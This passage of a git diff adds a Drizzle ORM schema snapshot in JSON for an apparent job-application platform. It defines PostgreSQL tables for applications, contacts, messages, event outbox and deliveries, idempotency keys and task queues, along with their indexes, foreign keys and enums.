"notNull": true + }, + "board_token": { + "name": "board_token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "company_name": { + "name": "company_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "last_fetched_at": { + "name": "last_fetched_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_status": { + "name": "last_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_job_count": { + "name": "last_job_count", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "job_sources_provider_board_token_key": { + "name": "job_sources_provider_board_token_key", + "nullsNotDistinct": false, + "columns": [ + "provider", + "board_token" + ] + } + }, + "policies": {}, + "checkConstraints": { + "job_sources_board_token_check": { + "name": "job_sources_board_token_check", + "value": "\"job_sources\".\"board_token\" ~ '^[A-Za-z0-9][A-Za-z0-9_-]{0,99}$'" + } + }, + "isRLSEnabled": false + }, + "public.application_events": { + "name": "application_events", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "from_status": { + "name": "from_status", + "type": "application_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "to_status": { + "name": "to_status", + "type": "application_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "note": { + "name": "note", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "application_events_app_created_idx": { + "name": "application_events_app_created_idx", + "columns": [ + { + "expression": "application_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "application_events_application_id_applications_application_id_fk": { + "name": "application_events_application_id_applications_application_id_fk", + "tableFrom": "application_events", + "tableTo": "applications", + "columnsFrom": [ + "application_id" + ], + "columnsTo": [ + "application_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.applications": { + "name": "applications", + "schema": "", + "columns": { + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "job_id": { + "name": "job_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "resume_id": { + "name": "resume_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "application_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "mode": { + "name": "mode", + "type": "application_mode", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "cover_letter": { + "name": "cover_letter", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "submitted_at": { + "name": "submitted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_event_at": { + "name": "last_event_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "applications_user_idempotency_key": { + "name": "applications_user_idempotency_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_user_job_key": { + "name": "applications_user_job_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "job_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_status_idx": { + "name": "applications_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_user_created_idx": { + "name": "applications_user_created_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_org_idx": { + "name": "applications_org_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "applications_user_id_users_user_id_fk": { + "name": "applications_user_id_users_user_id_fk", + "tableFrom": "applications", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "applications_job_id_jobs_job_id_fk": { + "name": "applications_job_id_jobs_job_id_fk", + "tableFrom": "applications", + "tableTo": "jobs", + "columnsFrom": [ + "job_id" + ], + "columnsTo": [ + "job_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "applications_resume_id_resumes_resume_id_fk": { + "name": "applications_resume_id_resumes_resume_id_fk", + "tableFrom": "applications", + "tableTo": "resumes", + "columnsFrom": [ + "resume_id" + ], + "columnsTo": [ + "resume_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "applications_organization_id_organizations_organization_id_fk": { + "name": "applications_organization_id_organizations_organization_id_fk", + "tableFrom": "applications", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.contacts": { + "name": "contacts", + "schema": "", + "columns": { + "contact_id": { + "name": "contact_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "full_name": { + "name": "full_name", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "email": { + "name": "email", + "type": "varchar(320)", + "primaryKey": false, + "notNull": false + }, + "linkedin_url": { + "name": "linkedin_url", + "type": "varchar(500)", + "primaryKey": false, + "notNull": false + }, + "relevance_score": { + "name": "relevance_score", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "contacts_company_email_key": { + "name": "contacts_company_email_key", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "contacts_company_idx": { + "name": "contacts_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "contacts_relevance_idx": { + "name": "contacts_relevance_idx", + "columns": [ + { + "expression": "relevance_score", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "contacts_company_id_companies_company_id_fk": { + "name": "contacts_company_id_companies_company_id_fk", + "tableFrom": "contacts", + "tableTo": "companies", + "columnsFrom": [ + "company_id" + ], + "columnsTo": [ + "company_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.messages": { + "name": "messages", + "schema": "", + "columns": { + "message_id": { + "name": "message_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "contact_id": { + "name": "contact_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "channel": { + "name": "channel", + "type": "message_channel", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "message_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "subject": { + "name": "subject", + "type": "varchar(400)", + "primaryKey": false, + "notNull": false + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "scheduled_for": { + "name": "scheduled_for", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "sent_at": { + "name": "sent_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "messages_user_idempotency_key": { + "name": "messages_user_idempotency_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_status_scheduled_idx": { + "name": "messages_status_scheduled_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scheduled_for", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_contact_idx": { + "name": "messages_contact_idx", + "columns": [ + { + "expression": "contact_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "messages_application_id_applications_application_id_fk": { + "name": "messages_application_id_applications_application_id_fk", + "tableFrom": "messages", + "tableTo": "applications", + "columnsFrom": [ + "application_id" + ], + "columnsTo": [ + "application_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "messages_contact_id_contacts_contact_id_fk": { + "name": "messages_contact_id_contacts_contact_id_fk", + "tableFrom": "messages", + "tableTo": "contacts", + "columnsFrom": [ + "contact_id" + ], + "columnsTo": [ + "contact_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "messages_user_id_users_user_id_fk": { + "name": "messages_user_id_users_user_id_fk", + "tableFrom": "messages", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.analytics_events": { + "name": "analytics_events", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "event_type": { + "name": "event_type", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "analytics_events_org_time_idx": { + "name": "analytics_events_org_time_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "analytics_events_type_time_idx": { + "name": "analytics_events_type_time_idx", + "columns": [ + { + "expression": "event_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "analytics_events_organization_id_organizations_organization_id_fk": { + "name": "analytics_events_organization_id_organizations_organization_id_fk", + "tableFrom": "analytics_events", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "analytics_events_user_id_users_user_id_fk": { + "name": "analytics_events_user_id_users_user_id_fk", + "tableFrom": "analytics_events", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.connector_accounts": { + "name": "connector_accounts", + "schema": "", + "columns": { + "connector_account_id": { + "name": "connector_account_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true + }, + "external_account_id": { + "name": "external_account_id", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "secret_ref": { + "name": "secret_ref", + "type": "varchar(400)", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "status": { + "name": "status", + "type": "varchar(40)", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "consent_granted_at": { + "name": "consent_granted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_synced_at": { + "name": "last_synced_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "connector_accounts_provider_external_key": { + "name": "connector_accounts_provider_external_key", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "external_account_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connector_accounts_user_idx": { + "name": "connector_accounts_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connector_accounts_org_idx": { + "name": "connector_accounts_org_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "connector_accounts_user_id_users_user_id_fk": { + "name": "connector_accounts_user_id_users_user_id_fk", + "tableFrom": "connector_accounts", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connector_accounts_organization_id_organizations_organization_id_fk": { + "name": "connector_accounts_organization_id_organizations_organization_id_fk", + "tableFrom": "connector_accounts", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.event_consumers": { + "name": "event_consumers", + "schema": "", + "columns": { + "consumer": { + "name": "consumer", + "type": "varchar(160)", + "primaryKey": true, + "notNull": true + }, + "event_types": { + "name": "event_types", + "type": "text[]", + "primaryKey": false, + "notNull": true + }, + "materialized_through": { + "name": "materialized_through", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "'1970-01-01T00:00:00Z'" + }, + "last_drained_at": { + "name": "last_drained_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.event_deliveries": { + "name": "event_deliveries", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "consumer": { + "name": "consumer", + "type": "varchar(160)", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "varchar(16)", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "next_attempt_at": { + "name": "next_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "locked_until": { + "name": "locked_until", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "event_deliveries_claim_idx": { + "name": "event_deliveries_claim_idx", + "columns": [ + { + "expression": "consumer", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "next_attempt_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"event_deliveries\".\"status\" = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_deliveries_dead_idx": { + "name": "event_deliveries_dead_idx", + "columns": [ + { + "expression": "consumer", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"event_deliveries\".\"status\" = 'dead'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "event_deliveries_event_id_event_outbox_event_id_fk": { + "name": "event_deliveries_event_id_event_outbox_event_id_fk", + "tableFrom": "event_deliveries", + "tableTo": "event_outbox", + "columnsFrom": [ + "event_id" + ], + "columnsTo": [ + "event_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "event_deliveries_event_id_consumer_pk": { + "name": "event_deliveries_event_id_consumer_pk", + "columns": [ + "event_id", + "consumer" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "event_deliveries_status_check": { + "name": "event_deliveries_status_check", + "value": "\"event_deliveries\".\"status\" IN ('pending', 'done', 'dead')" + } + }, + "isRLSEnabled": false + }, + "public.event_outbox": { + "name": "event_outbox", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "event_type": { + "name": "event_type", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "occurred_at": { + "name": "occurred_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": true + }, + "correlation_id": { + "name": "correlation_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "event_outbox_created_idx": { + "name": "event_outbox_created_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "event_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_outbox_type_created_idx": { + "name": "event_outbox_type_created_idx", + "columns": [ + { + "expression": "event_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "event_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_outbox_trace_idx": { + "name": "event_outbox_trace_idx", + "columns": [ + { + "expression": "trace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.idempotency_keys": { + "name": "idempotency_keys", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "request_hash": { + "name": "request_hash", + "type": "varchar(64)", + "primaryKey": false, + "notNull": true + }, + "response_status": { + "name": "response_status", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "response_body": { + "name": "response_body", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "idempotency_keys_expires_idx": { + "name": "idempotency_keys_expires_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "idempotency_keys_user_id_users_user_id_fk": { + "name": "idempotency_keys_user_id_users_user_id_fk", + "tableFrom": "idempotency_keys", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "idempotency_keys_scope_key_pk": { + "name": "idempotency_keys_scope_key_pk", + "columns": [ + "scope", + "key" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.processed_events": { + "name": "processed_events", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "consumer": { + "name": "consumer", + "type": "varchar(160)", + "primaryKey": false, + "notNull": true + }, + "processed_at": { + "name": "processed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "processed_events_processed_at_idx": { + "name": "processed_events_processed_at_idx", + "columns": [ + { + "expression": "processed_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "processed_events_event_id_consumer_pk": { + "name": "processed_events_event_id_consumer_pk", + "columns": [ + "event_id", + "consumer" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tasks": { + "name": "tasks", + "schema": "", + "columns": { + "task_id": { + "name": "task_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "task_type": { + "name": "task_type", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "queue_status": { + "name": "queue_status", + "type": "task_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "retry_count": { + "name": "retry_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "max_retries": { + "name": "max_retries", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 5 + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "locked_at": { + "name": "locked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "locked_by": { + "name": "locked_by", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "available_at": { + "name": "available_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tasks_claim_idx": { + "name": "tasks_claim_idx", + "columns": [ + { + "expression": "queue_status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "available_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "tasks_type_idx": { + "name": "tasks_type_idx", + "columns": [ + { + "expression": "task_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "tasks_locked_idx": { + "name": "tasks_locked_idx", + "columns": [ + { + "expression": "locked_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + } + }, + "enums": { + "public.application_mode": { + "name": "application_mode", + "schema": "public", + "values": [ + "auto", + "manual", + "review" + ] + }, + "public.application_status": { + "name": "application_status", + "schema": "public", + "values": [ + "draft", + "queued", + "submitting", + "submitted", + "acknowledged", + "interviewing", + "offer", + "rejected", + "withdrawn", + "failed" + ] + }, + "public.auth_provider": { + "name": "auth_provider", + "schema": "public", + "values": [ + "password", + "google", + "microsoft", + "github", + "saml" + ] + }, + "public.employment_type": { + "name": "employment_type", + "schema": "public", + "values": [ + "full_time", + "part_time", + "contract", + "internship", + "unknown" + ] + }, + "public.job_board_provider": { + "name": "job_board_provider", + "schema": "public", + "values": [ + "greenhouse", + "lever", + "ashby" + ] + }, + "public.job_source": { + "name": "job_source", + "schema": "public", + "values": [ + "manual", + "seed", + "greenhouse", + "lever", + "ashby", + "rss" + ] + }, + "public.member_role": { + "name": "member_role", + "schema": "public", + "values": [ + "member", + "student", + "recruiter", + "admin", + "owner" + ] + }, + "public.message_channel": { + "name": "message_channel", + "schema": "public", + "values": [ + "email", + "linkedin", + "sms", + "in_app" + ] + }, + "public.message_status": { + "name": "message_status", + "schema": "public", + "values": [ + "draft", + "scheduled", + "sent", + "delivered", + "replied", + "bounced", + "failed" + ] + }, + "public.organization_plan": { + "name": "organization_plan", + "schema": "public", + "values": [ + "free", + "pro", + "campus", + "enterprise" + ] + }, + "public.organization_type": { + "name": "organization_type", + "schema": "public", + "values": [ + "individual", + "university", + "enterprise" + ] + }, + "public.remote_type": { + "name": "remote_type", + "schema": "public", + "values": [ + "onsite", + "hybrid", + "remote", + "unknown" + ] + }, + "public.resume_status": { + "name": "resume_status", + "schema": "public", + "values": [ + "pending", + "processing", + "parsed", + "failed" + ] + }, + "public.task_status": { + "name": "task_status", + "schema": "public", + "values": [ + "pending", + "locked", + "succeeded", + "failed", + "dead_lettered" + ] + } + }, + "schemas": {}, + "sequences": {}, + "roles": {}, + "policies": {}, + "views": {}, + "_meta": { + "columns": {}, + "schemas": {}, + "tables": {} + } +} \ No newline at end of file diff --git a/packages/db/migrations/meta/_journal.json 